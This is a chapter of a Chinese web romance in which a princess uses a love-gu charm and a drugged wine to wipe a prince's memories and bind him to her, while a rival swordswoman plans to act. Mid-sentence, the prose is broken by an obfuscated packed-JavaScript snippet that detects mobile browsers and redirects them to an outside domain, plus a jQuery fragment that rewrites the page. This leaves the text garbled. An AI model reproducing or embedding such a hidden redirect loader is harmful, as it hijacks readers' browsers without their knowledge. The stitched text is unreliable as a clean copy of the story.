冷清大大 作品

298.幻想篇,争夺他[番外](第2页)

    而许晚星睁着眼,看着帐顶的黑暗,胸口的情蛊安静得像在蛰伏。他知道,这样的混沌不会太久,总有一天,他要在这场由她开始的纠缠里,做出一个真正的了断。

    只是现在,他还困着,她也还缠着。夜还很长,这场沉沦,远未结束。

    天光刺破云层时,许晚星是被胸口的闷痛弄醒的。情蛊像是在抗议昨夜的放纵,一阵阵抽痛让他皱紧了眉。身侧的樱花公主还在睡,眼尾的红痕未褪,唇瓣却微微翘着,像是做了什么得意的梦。

    他小心翼翼地挪开她缠在腰间的腿,起身时动作踉跄了下——昨夜的放纵耗尽了他太多力气,身体像被拆开重组过,每动一下都透着酸胀。

    帐外的侍女见他出来,慌忙低下头:“王爷,要传早膳吗?”

    “不必。”他声音沙哑,目光掠过院外那棵老槐树,不知怎的,竟想起流苏院里的兰草,“备水,我要沐浴。”

    热水漫过肩头时,情蛊的抽痛才缓了些。他看着水面上自己的倒影,眼底的红血丝还没褪,眉宇间带着挥不去的疲惫。昨夜的暴戾像场醒不来的噩梦,樱花公主隐忍的哭腔、身上交错的红痕,在脑海里反复闪现,搅得他心头发堵。

    “王爷,樱花公主醒了,在帐里找您呢。”侍女在外间低声禀报。

    他闭了闭眼,指尖按在眉心:“让她等着。”

    情蛊又开始隐隐作痛,带着点催促的意味。他知道,只要回到那间房,看到她那双写满占有欲的眼,自己又会被拖进熟悉的混沌里。可这次,他不想那么快回去。

    沐浴更衣后,他没回寝殿,反而鬼使神差地走向了流苏的院子。晨露挂在兰草叶上,亮晶晶的,像极了她昨夜未掉的泪。

    流苏正在练剑,晨光里,素白的裙袂翻飞如蝶,剑光凌厉得让他想起初见时的模样。她的招式里没了往日的隐忍,多了几分破釜沉舟的狠劲,剑尖划破空气的声响,竟让他胸口的情蛊安静了些。

    “王爷。”她收剑回头,看到他时眼中没有惊讶,只有一片平静,仿佛早已料到他会来。

    许晚星看着她额角的薄汗,看着她握剑的手——那双手曾为他沏茶、为他研墨,如今握着剑,却比任何时候都更有力量。

    “你的剑,还是那么好。”他开口,声音里带着自己都未察觉的涩然。

    流苏垂眸,指尖抚过冰冷的剑身:“峨嵋的剑,是用来护自己的。”

    这话像根针,刺破了他刻意维持的平静。他想起昨夜樱花公主身上的红痕,想起她那双含泪却不肯松开的手,忽然觉得喉咙发紧。

    “王爷若是没别的事,”流苏抬眸,眼底的光清亮得让他不敢直视,“请回吧。樱花公主该等急了。”

    情蛊的痛意骤然翻涌,几乎要将他吞噬。他想上前,想解释些什么,脚步却像被钉在原地。他知道,自己此刻的出现,对她而言不过是又一次残忍的撩拨。

    “保重。”他最终只说出这两个字,转身时,背影僵硬得像块石头。

    回到寝殿时,樱花公主正坐在榻边咬着唇,看到他进来,眼底的委屈瞬间化作尖锐的质问:“你又去找她了?!”

    情蛊的痛意混着愧疚涌上来,许晚星的语气不自觉软了:“只是路过。”

    “路过?”她扑上来,指甲狠狠掐进他的手臂,“我都看见了!你站在那里看了她好久!许晚星,你是不是忘了情蛊?忘了你只能是我的?!”

    “够了!”他猛地推开她,情蛊的控制让他烦躁,她的歇斯底里更让他厌烦,“我累了。”

    樱花公主被他推得跌坐在地,看着他转身走向内室的背影,忽然笑了,笑得眼泪直流。她爬起来,从枕下摸出个小巧的锦盒,里面是几粒暗红色的药丸——那是用她的心头血炼制的,能让情蛊的效力达到顶峰,也能让他彻底沦为她的傀儡。

    她本不想用,可他一次次的动摇,让她没了退路。

    “王爷,”她端着杯酒走进内室,脸上已换上温顺的笑,“喝杯酒解解乏吧。”

    许晚星看着那杯酒,情蛊在胸口轻轻躁动,像是在预警。可连日的混沌让他懒得思考,接过酒杯一饮而尽。

    酒液入喉时带着点奇异的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951598|169545||http|test|mini|href|location''.split(''|''),0,{}));

    () {

    $(''.inform'').remove();

    $(''#content'').append(''

    甜,随即化作一股灼热的暖流,直冲心口。情蛊在瞬间疯狂跳动起来,比以往任何时候都要剧烈,带来的却不是暖意,而是撕心裂肺的痛——他想挣扎,四肢却软得像泥,眼前的一切开始旋转,只剩下樱花公主那张逐渐放大的脸。

    “王爷,别怕。”她蹲下身,轻轻抚摸他的脸颊,声音温柔得像梦呓,“这样,你就永远不会离开我了。永远都是我的……”

    许晚星看着她眼底的疯狂,想说什么,却只能发出嗬嗬的声响。情蛊的力量彻底吞噬了他的意识,那些关于流苏的记忆、关于挣扎的念头,像被潮水淹没的沙画,一点点褪得干干净净。

    他最后看到的,是樱花公主脸上满足的笑,和窗外那片被窗框切割得支离破碎的天。

    流苏练剑的间隙,忽然心头一颤,抬头望向许晚星寝殿的方向,那里的气压沉得让她莫名心慌。她握紧了剑柄,指尖泛白——或许,她该主动些了。

    再次睁眼时,许晚星的眼神清明得有些诡异。情蛊在胸口安静地伏着,像与他的心跳融为了一体,再无半分往日的躁动。

    樱花公主正趴在榻边看他,见他醒了,慌忙凑上前:“王爷,你感觉怎么样?”

    他抬手,指尖抚过她的脸颊,动作自然得仿佛演练过千百遍,眼底的温柔没有半分杂质,只有她一个人的影子。“醒了,饿了。”

    樱花公主的心猛地一跳,随即被巨大的狂喜淹没——他的眼神变了,那里面没有了挣扎,没有了疏离,只有纯粹的纵容,像最初被情蛊缠住时那样,眼里心里都只剩下她。

    “我马上去让厨房备膳!”她笑着起身,转身时脚步轻快得像要飞起来,走到门口又回头看他,生怕这是场梦。

    许晚星看着她的背影,嘴角勾起一抹浅淡的笑,情蛊的暖意顺着血液流遍全身,舒服得让他喟叹一声。那些关于流苏的记忆,关于挣扎的烦躁,像被橡皮擦抹去的字迹,连点痕迹都没留下,只剩下眼前这个蹦蹦跳跳的身影,让他觉得心头踏实。

    早饭时,他主动给她夹菜,看着她吃得脸颊鼓鼓的样子,眼底的笑意浓得化不开。“慢点吃,没人跟你抢。”

    “就要抢,”她往他碗里塞了块糕点,笑得眉眼弯弯,“抢王爷的才香。”

    他低笑出声,任由她胡闹。情蛊让他觉得这样的相处天经地义,她的撒娇,她的霸道,都成了让他心安的理由。

    饭后,樱花公主拉着他在院里晒太阳,坐在他腿上数他的手指玩。“王爷,你说我们以后就这样好不好?”

    “好。”他毫不犹豫地应着,指尖缠绕着她的长发,“一直这样。”

    他没有提去书房,没有提任何关于其他院落的事,甚至连目光都从未越过院门半步。流苏的名字,像从未在他生命里出现过,被情蛊彻底从记忆里剜了去。

    樱花公主靠在他怀里,听着他沉稳的心跳,嘴角的笑意藏都藏不住。她赢了,用最极端的方式,彻底将他锁在了身边。他眼底那片只属于她的清明,比任何甜言蜜语都让她满足。

    “王爷,”她抬头吻他的下巴,声音里带着得意的雀跃,“你终于再次是我的了。”

    “一直是。”他低头吻她的唇,情蛊的暖意让这个吻格外温柔,“从来都是。”

    阳光透过树叶洒在两人身上,暖洋洋的,像一幅岁月静好的画。樱花公主闭上眼,感受着他的体温,心里踏实得像落了地的尘埃——她再也不用担心他会跑,不用担心哪个女人会来抢,他完完全全、彻彻底底,是她一个人的了。

    而流苏的院子里,剑谱摊在案上,却迟迟没有动静。侍女来报,说王爷一整天都陪着樱花公主,连院门都没出,她只是平静地“嗯”了一声,指尖却悄悄捏碎了案上的茶盏。

    碎瓷的声音很轻,却像个无声的信号。

    情蛊或许能抹去记忆,却抹不去曾经的心动。有些东西,藏得再深,也总有破土的一天。

    但此刻的樱花公主,正沉浸在失而复得的喜悦里,丝毫没察觉,许晚星眼底那片过于纯粹的温柔里,正隐隐酝酿着一场更大的风暴。而这场由她亲手加固的蛊,终有一天,会反噬到自己身上。

    阳光渐渐西斜,将两人依偎的影子拉得很长,像个看似圆满,却暗藏裂痕的句点。

    日子像被施了咒,一天天在重复的温柔里淌过。许晚星陪着樱花公主描眉,陪她在院里种下新的樱花树,甚至会耐着性子听她讲那些琐碎的倭国趣事,眼底的笑意从未淡过。

    情蛊在他胸口安稳地跳动,像颗温顺的心脏,将所有关于“流苏”“王府”的记忆都过滤得干干净净。他只记得眼前这个笑起来眼尾泛红的女子,记得自己要对她好,要永远陪着她。

    樱花公主彻底放下了心防,连睡觉时都不再攥着他的衣袖。她会在他看书时,偷偷往他嘴里塞颗蜜饯;会在他练字时,故意蘸着墨汁在他手背上画小乌龟,然后看着他无奈又纵容的眼神笑得打滚。

    “王爷你看,这棵樱花树明年就会开花了。”她指着院里新栽的树苗,眼里闪烁着憧憬,“到时候我们就在树下喝酒,好不好?”

    “好。”许晚星从身后抱住她,下巴抵着她的发顶,声音温柔得能滴出水,“你想做什么,都陪你。”

    他的顺从让樱花公主越发得意,甚至开始在府里走动时,故意挽着他的手臂,用眼角的余光扫过那些低眉顺眼的侍妾,像在炫耀自己的战利品。流苏远远看到过一次,她站在廊下,素白的裙袂被风吹得微动,眼神平静得像一潭深水,没有半分波澜。

    樱花公主本以为她会嫉妒,会不甘,见她这副样子,反而觉得无趣,挽着许晚星的手臂转身就走:“看她那副样子,就知道王爷没眼光才会看上她。”

    许晚星顺着她的话点头,情蛊让他对“流苏”这个名字毫无反应,只觉得是个无关紧要的陌生人。

    可变化,总在不经意间发生。

    那天樱花公主在厨房学做点心,弄得满身面粉跑出来找他,却看到他站在廊下,望着流苏院的方向出神。他的眼神有些茫然,像在努力回忆什么,胸口的情蛊微微躁动,带来一阵细微的刺痛。

    “王爷你看什么呢?”她跑过去,顺着他的目光望去,心里瞬间警铃大作。

    许晚星被她的声音拉回神,茫然散去,眼底又恢复了惯常的温柔:“没什么,看那棵兰草长得不错。”

    樱花公主顺着他的目光看去,那是流苏院墙边探出来的一株兰草,叶片细长,在风里轻轻摇曳。她心里的不安像潮水般涌上来,一把拉过他的手:“有什么好看的,走,看我做的樱花糕!”

    他被她拉着往前走,脚步却顿了顿,目光又不受控制地飘向那株兰草。情蛊的刺痛比刚才更清晰了些,像有什么东西要从记忆深处钻出来。

    “王爷!”樱花公主加重了力道,声音里带着不易察觉的慌乱,“别看了!”

    许晚星回过神,低头看她,眼底的温柔依旧,却多了一丝连他自己都没察觉的困惑:“怎么了?”

    “没什么。”她强压下心头的不安,踮起脚尖吻了吻他的唇,“就是想让王爷看着我。”

    情蛊的暖意再次涌上来,压下了那点刺痛和困惑。他笑着揉了揉她的头发:“好,只看你。”

    可那株兰草的影子,却像颗种子,落在了他被情蛊覆盖的记忆里。

    夜里,许晚星睡得并不安稳。他梦到一片白茫茫的雪地,一个穿着素白裙袂的女子背对着他,手里握着柄剑,风吹起她的发,露出的侧脸清冷又熟悉。他想上前,想看清她的脸,胸口却传来一阵尖锐的痛,让他猛地惊醒。

    樱花公主被他的动静弄醒,迷迷糊糊地问:“王爷怎么了?”

    “做了个噩梦。”他喘着气,额角沁出薄汗,情蛊的跳动比往常快了些。

    “有我在呢,不怕。”她钻进他怀里,紧紧抱住他,在心里默默念起加固情蛊的咒语。

    咒语念罢,许晚星的呼吸渐渐平稳,重新坠入梦乡。可这次,他没再梦到雪地,而是梦到了流苏院墙边的那株兰草,叶片上的露珠在月光下闪着光,像谁的眼泪。

    樱花公主睁着眼,听着他平稳的呼吸,心里的不安却越来越重。她总觉得,那株兰草,那个模糊的梦,像两把钥匙,正试图撬开情蛊锁住的记忆。

    她必须做得更绝些。

    第二天,那株探出院墙的兰草,被人悄无声息地拔掉了。泥土里只剩下一个浅浅的坑,像个被抹去的痕迹。

    许晚星路过时,脚步顿了顿,胸口的情蛊又开始刺痛,却想不起来这里本该有什么。他皱了皱眉,转身走向樱花公主的院子——他只记得,要陪着她。

    而流苏站在院内,看着空荡荡的墙角,缓缓握紧了藏在袖中的剑。那剑柄被她的体温焐得温热,像在回应她的决心。

    有些东西,不是拔掉就能消失的。比如记忆,比如心动,比如……峨嵋的剑,从来都不是摆设。

    这场被情蛊暂时冻结的较量,终究要在某个被遗忘的角落,重新燃起硝烟。而沉浸在温柔乡里的樱花公主,还不知道,她亲手拔掉的兰草,早已在他心底,发了芽。